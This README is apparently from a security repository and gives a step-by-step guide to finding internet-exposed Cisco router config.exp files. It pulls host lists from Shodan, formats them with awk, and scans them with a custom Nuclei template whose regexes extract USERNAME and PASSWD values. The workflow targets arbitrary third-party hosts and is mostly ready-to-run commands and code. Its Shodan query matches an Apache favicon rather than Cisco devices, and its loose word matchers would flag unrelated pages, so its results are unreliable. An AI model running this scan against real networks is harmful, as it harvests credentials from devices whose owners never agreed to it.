Cisco Router Configuration Exposure Vulnerability

Vulnerability Description

This repository details the exploitation process of a vulnerability in certain Cisco routers that allows exposure of the config.exp configuration file via an accessible public URL. This file may contain sensitive information, including credentials (USERNAME and PASSWD), network configurations, and other critical system details. If accessible without authentication, it can compromise the security of the device and the network in which it is deployed. Related CVE

This vulnerability could be related to CVE-2003-1567 and CVE-2019-1653, both associated with unauthorized exposure of configuration files on Cisco devices, although it is important to investigate whether the specific device and firmware apply to these CVEs. Step-by-Step Exploitation Guide

This procedure uses Shodan to identify vulnerable devices, followed by Nuclei to scan and verify the exposure of critical configurations on Cisco routers. Prerequisites

• Shodan account: Make sure you have a Shodan account and that your API Key is configured for command-line access.
• Nuclei: Installed in your environment, along with the custom Nuclei template described below.
• Tools: shodan-cli, awk, and httpx for converting IP addresses into full URLs.

Step 1: Search for Vulnerable Devices on Shodan

The first step is to identify vulnerable devices on Shodan through an advanced search. The following Shodan query seeks devices that could potentially be Cisco routers:

shodan download apache_results.json.gz "http.favicon.hash:-299287097 Apache"

This command:

• Performs a search on Shodan to identify devices that have the Apache favicon, with a specific hash that identifies servers potentially related to Apache. This is useful in the context of server audits.

Step 2: Download Results and Format URLs

Once you have the apache_results.json.gz file, the next step is to extract IPs and ports from each device to format them into full URLs, including the protocol (http or https) and the port. Command to process data from the .json file

Use the following command to extract IPs and ports and format them into full URLs in a file called urls.txt:

shodan parse --fields ip_str,port,ssl.version apache_results.json.gz | \
awk '{if ($2 == 443 || $3 ~ /https/) print "https://"$1":"$2; else print "http://"$1":"$2}' > urls.txt

• shodan parse: Extracts IPs and ports from each result in the apache_results.json.gz file.
• awk: Formats the output into full URLs, using https if the port is 443 or if SSL is detected, and http in other cases.

The urls.txt file now contains formatted full URLs.

Step 3: Create a Custom Nuclei Template

To verify if the config.exp file is accessible on these devices, we will use a custom Nuclei template. This template will attempt to access the file and extract sensitive data such as USERNAME and PASSWD if present. Nuclei Template (cisco-router-config-exposure.yaml)

id: cisco-router-config-exposure
info:
  name: Cisco Router Configuration Exposure
  author: elzer
  severity: high
  description: |
    Detects exposure of the config.exp file on Cisco routers containing credentials and critical configurations.

tags:
  - cisco
  - router
  - vulnerability
  - cgi-bin
  - config.exp

requests:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/config.exp"

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "Cisco"
          - "config"
          - "version"
      - type: regex
        regex:
          - "USERNAME=\\w+"
          - "PASSWD=[a-f0-9]{32}"

This template:

• Sends a GET request to the /cgi-bin/config.exp file.
• Checks whether the response contains specific keywords or patterns (Cisco, config, version) to confirm exposure.
• Attempts to extract USERNAME and PASSWD values if present in the file.

Save this template as cisco-router-config-exposure.yaml in the Nuclei templates folder.

Step 4: Run Nuclei to Detect Vulnerable Devices

With the template and the urls.txt file ready, execute the following Nuclei command to scan the URLs:

nuclei -t path/to/cisco-router-config-exposure.yaml -l urls.txt -o resultados_nuclei.txt -debug -vv

• -t path/to/cisco-router-config-exposure.yaml: Points to the custom template we created.
• -l urls.txt: Uses the urls.txt file with the formatted URLs.
• -o resultados_nuclei.txt: Saves the results in the resultados_nuclei.txt file.
• -debug -vv: Runs Nuclei in verbose mode to see progress and debugging details.

Result

After running Nuclei, the resultados_nuclei.txt file will contain a list of vulnerable devices that expose the config.exp configuration file. This includes any device that returns credentials or sensitive configurations, confirming the exposure of the vulnerability.

Conclusion

This process allows you to identify and confirm the exposure of critical configuration files on Cisco devices using Shodan and Nuclei. Automating this workflow is especially useful for security auditors and cybersecurity professionals interested in identifying and remediating insecure configurations on corporate networks.